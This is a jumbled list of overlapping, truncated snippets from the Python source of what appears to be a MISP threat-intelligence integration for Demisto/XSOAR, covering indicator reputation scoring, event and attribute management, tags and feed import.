DemistoException(f\\\"Error: The given email address: {value} is not\",\n \"search returned from MISP to the context output format. \\\"\\\"\\\" response_object = copy.deepcopy(response)\",\n \"misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event') if event_object and 'id' in event_object:\",\n \"added to that existing event. \\\"\\\"\\\" attributes_args = { 'id': demisto_args.get('event_id'), # misp\",\n \"ignore def event_to_human_readable_tag_list(event): event_tags = event.get('Tag', []) if event_tags: return [tag.get('Name') for tag\",\n \"= PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found\",\n \"attribute dict which includes tags list. found_tag (str): The tag that was scored\",\n \"= json.loads(json.dumps(response_object)) events = [event.get('Event') for event in response_object] for i in range(0,\",\n \"'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'email': return_results(generic_reputation_command(args, 'email', 'EMAIL',\",\n \"'sighting', '1': 'false_positive', '2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL,\",\n \"args should look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597},\",\n \"be MISP. \\\"\\\"\\\" headers = {'Accept': 'application/json'} url = build_feed_url(demisto_args) osint_url = f'{url}/manifest.json'\",\n \"\\\"Event ID\\\": event.get(\\\"id\\\")} if event.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event, True) event['Tag'] = limit_tag_output\",\n \"{'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96}, {'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}] # guardrails-disable-line \\\"\\\"\\\" misp_object =\",\n \"if set to True, will not post results to Demisto demisto_args (dict): Demisto\",\n \"the generic object Returns: GenericObjectGenerator: object created in MISP Example: args should look\",\n \"enter file hash of format MD5, SHA-1 or SHA-256') if dbot_type == 'IP':\",\n \"list, str]: same object type that got in \\\"\\\"\\\" if isinstance(obj_to_build, list): return\",\n \"example) Args: event_id (int): Event ID to add attribute to internal (bool): if\",\n \"'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings'] = 1 if demisto_args.get('include_sightings') == 'true' else 0 if\",\n \"MISP\\\") indicator = get_dbot_indicator(dbot_type, dbot, value) return CommandResults(indicator=indicator, readable_output=f\\\"No attributes found in MISP\",\n \"response, for more information and examples please see UT: test_extract_error. Args: error: list\",\n \"attributes = response_object.get('Attribute') return [attribute.get('value') for attribute in attributes] def pagination_args_validation(page, limit): if\",\n \"not params.get('insecure') PROXIES = handle_proxy() # type: ignore try: PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY,\",\n \"id) about all the events that include the indicator Please see an example\",\n \"in a valid key in the integration configuration.') MISP_URL = params.get('url') VERIFY =\",\n \"is in [1,2,3]. Otherwise, the threat level is 4 = Unknown. note: -\",\n \"Name': found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \\\"\\\"\\\" As tag list can be full\",\n \"the events that have the tag (i.e found_tag) which caused the indicator to\",\n \"'last' in args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if 'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score'] = 1\",\n \"is set to 1 it says that it is an event's tag. Otherwise\",\n \"or a positive number\\\") def attribute_response_to_markdown_table(response: dict): attribute_highlights = [] for attribute in\",\n \"ones and the event's attribute tags ones as it is part of the\",\n \"{response}') except PyMISPError: raise DemistoException(\\\"Removing the required tag was failed. Please make sure\",\n \"build_misp_complex_filter(demisto_query: str): \\\"\\\"\\\" Examples are available in UT: test_build_misp_complex_filter. For more information please\",\n \"-> dict: \\\"\\\"\\\" Convert the response of attribute search returned from MISP to\",\n \"tag. Otherwise (if it is set to 0 or not exists) it says\",\n \"sighting in attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) -> list: \\\"\\\"\\\"returns list of\",\n \"parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\\\"Match found in\",\n \"{'type': sighting.get('type') } for sighting in attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) ->\",\n \"tag in event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy', []) if event_galaxies: return [galaxy.get('Name')\",\n \"like to add to tag_set_ids all the tags (event ones and the event's\",\n \"if 'demisto_query' does not contains any of the complex operators the original input\",\n \"attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in attribute.get('Sighting')] if attribute.get('Sighting') else None attribute_highlights.append({ 'Attribute\",\n \"in event_object: events_ids.append({'ID': event_object['id']}) if limit == len(events_ids): break human_readable = tableToMarkdown(f'Total of\",\n \"in args_to_misp_format: args_to_misp_format['to_ids'] = 1 if demisto_args.get('to_ids') == 'true' else 0 if 'from'\",\n \"were found in MISP\\\") indicator = get_dbot_indicator(dbot_type, dbot, value) return CommandResults(indicator=indicator, readable_output=f\\\"No attributes\",\n \"if given_object.get('Tag'): given_object['Tag'] = [ {'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy') } for tag in\",\n \"if key in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return\",\n \"category: attribute_instance.category = category if value: attribute_instance.value = value if comment: attribute_instance.comment =\",\n \"return_results(add_attribute(demisto_args=args)) elif command == 'misp-search-events': return_results(search_events(args)) elif command == 'misp-search-attributes': return_results(search_attributes(args)) elif command\",\n \"or event, depends on the called function\\\"\\\"\\\" if given_object.get('Tag'): given_object['Tag'] = [ {'Name':\",\n \"a response in test_data/reputation_command_response.json Please see an example for a parsed output in\",\n \"[] for attribute in response: event = attribute.get('Event', {}) attribute_tags = [tag.get('Name') for\",\n \"stronger than events' tags. \\\"\\\"\\\" found_tag = None is_attribute_tag_malicious = any((found_tag := tag)\",\n \"'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name': 'Name', 'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID', 'org_id': 'OrganizationID',\",\n \"== 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif command == 'file': return_results( generic_reputation_command(args, 'file', 'FILE',\",\n \"meaning the tags are event's ones. Otherwise, the data is attribute's (attribute tags).\",\n \"in suspicious_tag_ids) if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag # no tag was found if\",\n \"positive number\\\") def attribute_response_to_markdown_table(response: dict): attribute_highlights = [] for attribute in response: event\",\n \"{new_event.id}.\\\\n\\\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def generic_reputation_command(demisto_args, reputation_type, dbot_type,\",\n \"'org_id': 'OrganizationID', 'Org': 'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid':\",\n \"make sure the API key is correct.') return_error(error) def warn(*args): \\\"\\\"\\\" Do nothing\",\n \"'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org', 'Orgc', 'RelatedEvent', 'Galaxy', 'Tag', 'decay_score', 'Object', 'Feed', ] ATTRIBUTE_FIELDS\",\n \"malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \\\"\\\"\\\" Calculates the indicator score by following logic. Indicators of\",\n \":= tag) in event_tags_ids for tag in suspicious_tag_ids) if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag\",\n \"= event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID': event.get('ID'), 'Event Tags': event_tags, 'Event Galaxies': event_galaxies, 'Event\",\n \"in MISP Example: args should look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}}, {'permalink':\",\n \"event) found_related_events[event.get(\\\"id\\\")] = {\\\"Event Name\\\": event.get(\\\"info\\\"), \\\"Threat Level ID\\\": event.get('threat_level_id'), \\\"Event ID\\\": event.get(\\\"id\\\")}\",\n \"= PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable = f\\\"## MISP add attribute\\\\nNew attribute: {value} was\",\n \"if is_indicator_found: outputs, score, found_tag, found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot =\",\n \"to event id {new_event.id}.\\\\n\\\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def\",\n \"key in EVENT_FIELDS if key in events[i]} events[i]['RelatedEvent'] = [] # there is\",\n \"event.get('threat_level_id'), \\\"Event ID\\\": event.get(\\\"id\\\")} if event.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event, True) event['Tag'] =\",\n \"= handle_proxy() # type: ignore try: PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except\",\n \"malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif\",\n \"attributes_limit): \\\"\\\"\\\" Test module. \\\"\\\"\\\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit < 0: raise DemistoException('Attribute\",\n \"is_complex_search def prepare_args_to_search(controller): demisto_args = demisto.args() args_to_misp_format = {arg: demisto_args[arg] for arg in\",\n \"elif command == 'domain': return_results( generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif\",\n \"= demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen') attribute_instance = MISPAttribute() attribute_instance.uuid = attribute_uuid if attribute_type:\",\n \"readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability,\",\n \"None return Common.DBotScore.NONE, None def get_new_misp_event_object(args): \\\"\\\"\\\" Create a new MISP event object\",\n \"None if not new_event: response = PYMISP.search(eventid=event_id, pythonify=True) if not response: raise DemistoException(\",\n \"to MISP's arguments types misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args) ips = argToList(demisto_args.get('ip')) for ip\",\n \"return_results(delete_event(args)) elif command == 'misp-add-sighting': return_results(add_sighting(args)) elif command == 'misp-add-tag-to-event': return_results(add_tag(args)) elif command\",\n \"DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX = ( r\\\"([a-z¡-\\\\uffff0-9](?:[a-z¡-\\\\uffff0-9-]{0,61}\\\" \\\"[a-z¡-\\\\uffff0-9])?(?:\\\\\\\\.(?!-)[a-z¡-\\\\uffff0-9-]{1,63}(?<!-))*\\\" \\\"\\\\\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\\\" \\\"|html)$)(?:[a-z¡-\\\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\\\\\.?$\\\" \\\"|localhost)\\\" )\",\n \"= INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response and misp_response.get('Attribute') if is_indicator_found: outputs, score, found_tag, found_related_events\",\n \"''' GLOBALS/PARAMS ''' params = demisto.params() if not params.get('credentials') or not (MISP_API_KEY :=\",\n \"be scored by their event's threat level id. In such case, the score\",\n \"argToList(demisto_args.get(reputation_type), ',') command_results = [] for value in reputation_value_list: command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids,\",\n \"= MISPObject('domain-ip') ips = argToList(demisto_args.get('ip')) for ip in ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain)\",\n \"dbot_type == 'URL': if not re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\\\"Error: The given url: {value}\",\n \"+= f\\\"Showing page {page}\\\" md = tableToMarkdown( f\\\"MISP search-attributes returned {len(response_for_context)} attributes\\\\n {pagination_message}\\\",\",\n \"given email address: {value} is not valid\\\") def get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability,\",\n \"reliability, attributes_limit)) elif command == 'url': return_results( generic_reputation_command(args, 'url', 'URL', malicious_tag_ids, suspicious_tag_ids, reliability,\",\n \"only in output hash_format = get_hash_type(value) if hash_format == 'Unknown': raise DemistoException('Invalid hash\",\n \"= argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability', 'B - Usually reliable') if\",\n \"command search-attributes in order to get the information about the attributes. \\\"\\\"\\\" response_object\",\n \"args: List[dict]) -> GenericObjectGenerator: \\\"\\\"\\\" Args: template_name: template name as described in https://github.com/MISP/misp-objects\",\n \"elif command == 'file': return_results( generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif\",\n \"= PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable = f\\\"##\",\n \"command == 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command ==\",\n \"has to be a positive integer, please change the given: '{tag}' id.\\\") def\",\n \"test_data/reputation_command_response.json Please see an example for a parsed output in test_data/reputation_command_outputs.json \\\"\\\"\\\" response\",\n \"attributes_list = sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level\",\n \"get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output = tableToMarkdown(f'Results found in MISP\",\n \"CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event ) def add_attribute(event_id: int = None, internal:\",\n \"attributes_limit (int) : Limits the number of attributes that will be written to\",\n \"and set the event's details. \\\"\\\"\\\" event = MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg\",\n \"attributes_limit)) elif command == 'misp-add-file-object': return_results(add_file_object(args)) elif command == 'misp-add-domain-object': return_results(add_domain_object(args)) elif command\",\n \"= demisto_args.get('entry_id') event_id = demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path) return add_object(event_id,\",\n \"errors raised by PYMISP into readable response, for more information and examples please\",\n \"in MISP: \\\\nError message: {response}') else: human_readable = f'Event {event_id} has been deleted'\",\n \"the required tag was failed. Please make sure the UUID exists.\\\") if is_attribute:\",\n \"url_obj.append({'resource_path': url_parse.path}) if url_parse.path else None url_obj.append({'query_string': url_parse.query}) if url_parse.query else None url_obj.append({'domain':\",\n \"the suspicious tag ids set and will be stayed only in the malicious\",\n \"tag that was scored as malicious or suspicious. event_name (str): Name of the\",\n \"outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) # event's uuid response = PYMISP.search(uuid=uuid) human_readable =\",\n \"event.get('Object')] def event_to_human_readable(response: dict): event_highlights = [] for event in response: event_tags =\",\n \"there is no need in returning related event when searching for an event\",\n \"message: {response}') else: human_readable = f'Event {event_id} has been deleted' return CommandResults(readable_output=human_readable, raw_response=response)\",\n \"[] for i in range(len(related_events)): if related_events[i] not in related_events[i + 1:]: related_events_no_duplicates.append(related_events[i])\",\n \"could not be decoded, may not a valid JSON\\\\nattribute: {attributes}', str(e)) def convert_arg_to_misp_args(demisto_args,\",\n \"= f'Event {event_id} has been deleted' return CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args: dict, is_attribute=False):\",\n \"in attribute_tags_ids for tag in suspicious_tag_ids) if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious =\",\n \"build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting'] = [ {'type': sighting.get('type') } for sighting in attribute.get('Sighting')\",\n \"in error: return_error('Unable to connect to MISP, ' 'Please make sure the API\",\n \"if command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command == 'misp-create-event': return_results(create_event_command(args)) elif\",\n \"the tags (event ones and the event's attribute tags ones as it is\",\n \"attribute {att_id}' return CommandResults(readable_output=human_readable) raise DemistoException(f\\\"An error was occurred: {json.dumps(response)}\\\") def test(malicious_tag_ids, suspicious_tag_ids,\",\n \"= PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully removed from the event\",\n \"back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes)\",\n \"demisto_args.get('type') distribution = demisto_args.get('distribution') category = demisto_args.get('category') comment = demisto_args.get('comment') value = demisto_args.get('value')\",\n \"hash). dbot_type (str): Indicator type (file, url, domain, email or ip). malicious_tag_ids (set):\",\n \"= [] # there is no need in returning related event when searching\",\n \"MISP event_id: ID of event \\\"\\\"\\\" response = PYMISP.add_object(event_id, misp_object=obj) if 'errors' in\",\n \"if event_id else None distribution = demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else None\",\n \"'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command == 'misp-search-events': return_results(search_events(args)) elif command == 'misp-search-attributes': return_results(search_attributes(args)) elif\",\n \"if isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable = f\\\"## MISP update attribute\\\\nAttribute:\",\n \"event.get('Info'), 'Event Org ID': event.get('OrganizationID'), 'Event Orgc ID': event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'), 'Event\",\n \"if \\\"NewConnectionError\\\" in error: return_error('Unable to connect to MISP because of a NewConnectionError,\",\n \"and by sub-functions calculated the score of the indicator. For the context data\",\n \"is not a valid MISP feed. error: {e}') def add_object(event_id: str, obj: MISPObject):\",\n \"event_tag_ids def convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if event.get('timestamp'):\",\n \"star.get('name'), 'type': star.get('type'), 'description': star.get('description') } for star in given_object['Galaxy'] ] def build_object_output(event):\",\n \"because of a SSLCertVerificationError, ' 'Please try to use the Trust any certificate\",\n \"tags (both malicious and suspicious) are stronger than events' tags. \\\"\\\"\\\" found_tag =\",\n \"'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID') }) return attribute_highlights def search_attributes(demisto_args: dict) ->\",\n \"ids and Suspicious tag ids lists the indicator will be scored as malicious.\",\n \"or attribute. is_attribute (bool): if the given UUID belongs to an attribute (True)\",\n \"sha1=value) if hash_type == 'sha256': return Common.File(dbot_score=dbot_score, sha256=value) if dbot_type == \\\"IP\\\": return\",\n \"get_event_id(object_data_dict) tag_name = tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name': event_name, 'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')}) return\",\n \"valid positive integers.\\\"\\\"\\\" for tag in tag_ids: try: tag = int(tag) if tag\",\n \"'False')) return event def create_event_command(demisto_args: dict): \\\"\\\"\\\"Creating event in MISP with the given\",\n \"for item in obj_to_build] if isinstance(obj_to_build, dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in\",\n \"indicator score found_tag: the tag (id) which made the indicator to get that\",\n \"url object in MISP scheme Scheme described https://www.misp-project.org/objects.html#_url \\\"\\\"\\\" url_args = [ 'text',\",\n \"if not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name': tag.get('name')}) return output, tag_set_ids def parse_response_reputation_command(misp_response,\",\n \"to Demisto demisto_args (dict): Demisto args new_event (MISPEvent): When this function was called\",\n \"url_args)) g_object = build_generic_object('url', url_obj) return add_object(event_id, g_object) def add_generic_object_command(demisto_args: dict): event_id =\",\n \"False def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \\\"\\\"\\\" Calculates the indicator score by\",\n \"MISP's format to Demisto's (as appear in ENTITIESDICT) Args: obj_to_build (Union[dict, list, str]):\",\n \"says that it is an attribute's tag. If the data is event's (is_event_level\",\n \"return add_object(event_id, obj) else: raise DemistoException( f'None of required arguments presents. command {demisto.command()}\",\n \"include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response and\",\n \"in found_related_events.values(): if event['Threat Level ID'] in bad_threat_level_ids: return True return False def\",\n \"event_to_human_readable_tag_list(event): event_tags = event.get('Tag', []) if event_tags: return [tag.get('Name') for tag in event_tags]\",\n \"tag = demisto_args.get('tag') try: PYMISP.tag(uuid, tag) # add the tag except PyMISPError: raise\",\n \"'ok' else: raise DemistoException('MISP has not connected.') def build_feed_url(demisto_args): url = demisto_args.get('feed') url\",\n \"def create_event_command(demisto_args: dict): \\\"\\\"\\\"Creating event in MISP with the given attribute args\\\"\\\"\\\" new_event\",\n \"correct.') return_error(error) def warn(*args): \\\"\\\"\\\" Do nothing with warnings \\\"\\\"\\\" pass # Disable\",\n \"url_parse.scheme}) if url_parse.scheme else None url_obj.append({'resource_path': url_parse.path}) if url_parse.path else None url_obj.append({'query_string': url_parse.query})\",\n \"tags ones as it is part of the event scope). If the data\",\n \"def get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): \\\"\\\"\\\" This function searches for the\",\n \"Returns: Union[dict, list, str]: same object type that got in \\\"\\\"\\\" if isinstance(obj_to_build,\",\n \"will be written to the context Returns: CommandResults includes all the indicator results.\",\n \"= arg_to_number(demisto_args.get('limit', 2), \\\"limit\\\", required=True) try: uri_list = requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json() events_ids\",\n \"* have tags which configured as suspicious will be scored 2 (i.e suspicious).\",\n \"raise DemistoException(f\\\"Error: The given domain: {value} is not valid\\\") if dbot_type == 'URL':\",\n \"event = attribute.get('Event', {}) attribute_tags = [tag.get('Name') for tag in attribute.get('Tag')] if attribute.get(\",\n \"PYMISP.update_event(event=new_event) if internal: return value = attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable\",\n \"if response: response_for_context = build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message = f\\\"Current page size:\",\n \"added to attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) #\",\n \"= DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\\\"MISP V3 error: Please provide a valid value for the\",\n \"tag (i.e found_tag) which caused the indicator to be scored as malicious or\",\n \"filtered response \\\"\\\"\\\" return [{ 'code': err[0], 'message': err[1].get('message'), 'errors': err[1].get('errors') } for\",\n \"'domain': return_results( generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'email':\",\n \"attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable = f\\\"## MISP update attribute\\\\nAttribute: {attribute_uuid} was updated.\\\\n\\\" attribute\",\n \"a list of attributes along with their events objects. Note: When limits the\",\n \"controller='attributes', include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response\",\n \"(dict): The parsed outputs to context data (array of attributes). score: the indicator\",\n \"Returns: response (dict): The parsed outputs to context data (array of attributes). score:\",\n \"all_attributes: event = attribute.get('Event', {}) event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag,\",\n \"see an example for a parsed output in test_data/reputation_command_outputs.json \\\"\\\"\\\" response = copy.deepcopy(misp_response)\",\n \"if demisto_args.get('include_sightings') == 'true' else 0 if 'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations'] = 1\",\n \"} for star in given_object['Galaxy'] ] def build_object_output(event): if event.get('Object'): event['Object'] = [\",\n \"we would like to add to tag_set_ids all the tags (event ones and\",\n \"dbot_type == \\\"URL\\\": return Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str): \\\"\\\"\\\" Examples are available\",\n \"in args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if 'event_id' in args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if\",\n \"def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\\\"1\\\", \\\"2\\\", \\\"3\\\"] for event in found_related_events.values(): if event['Threat\",\n \"create event\\\\nNew event with ID: {event_id} has been successfully created.\\\\n\\\" return CommandResults( readable_output=human_readable,\",\n \"if first_seen: attribute_instance.first_seen = first_seen if last_seen: attribute_instance.last_seen = last_seen return attribute_instance def\",\n \"proxies=PROXIES)) elif command == 'file': return_results( generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit))\",\n \"event's threat level id. In such case, the score will be BAD if\",\n \"value) all_attributes = outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes, score, events_to_human_readable)\",\n \"Common.DBotScore.SUSPICIOUS, found_tag # no tag was found if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None return\",\n \"outputs_key_field=\\\"ID\\\" ) else: return CommandResults(readable_output=f\\\"No attributes found in MISP for the given filters:\",\n \"url_obj.append({'port': url_parse.port}) if url_parse.port else None url_obj.append( {'credential': (url_parse.username, url_parse.password)}) if url_parse.username and\",\n \"to the tag. \\\"\\\"\\\" scored_events = [] if found_tag: for attribute in all_attributes:\",\n \"build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message = f\\\"Current page size: {limit}\\\\n\\\" if len(response_for_context) ==\",\n \"[]) for tag in object_tags_list: if tag.get('ID') == found_tag: event_id = get_event_id(object_data_dict) tag_name\",\n \"would like to add it to tag_set_ids. In any other case, we won't\",\n \"is stronger than recognised as suspicious). \\\"\\\"\\\" common_ids = set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids\",\n \"{'name': 'CIRCL OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input': 'network'}, 'Botvrij.eu': {'name': 'The\",\n \"obj) def add_domain_object(demisto_args: dict): \\\"\\\"\\\"Adds a domain object to MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip\",\n \"attribute_uuid if attribute_type: attribute_instance.type = attribute_type if distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if category:\",\n \"value (an IP address, email address, domain, url or file hash). dbot_type (str):\",\n \"uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: PYMISP.tag(uuid, tag) # add the tag\",\n \"\\\"3\\\"] for event in found_related_events.values(): if event['Threat Level ID'] in bad_threat_level_ids: return True\",\n \"= 1 if demisto_args.get('include_sightings') == 'true' else 0 if 'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations']\",\n \"is an attribute level, default is '0' tag_id = tag.get('id') if is_event_level: tag_set_ids.add(tag_id)\",\n \"= True return is_complex_search def prepare_args_to_search(controller): demisto_args = demisto.args() args_to_misp_format = {arg: demisto_args[arg]\",\n \"V3 error: Please provide a valid value for the Source Reliability parameter\\\") attributes_limit\",\n \"event ID {event_id}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, ) def add_file_object(demisto_args: dict):\",\n \"address: {value} is not valid\\\") def get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): \\\"\\\"\\\"\",\n \"arguments to create the generic object Returns: GenericObjectGenerator: object created in MISP Example:\",\n \"the response of attribute search returned from MISP to the context output format.\",\n \"{ 'deleted': 'Deleted', 'category': 'Category', 'comment': 'Comment', 'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged',\",\n \"only in the malicious one (as a tag 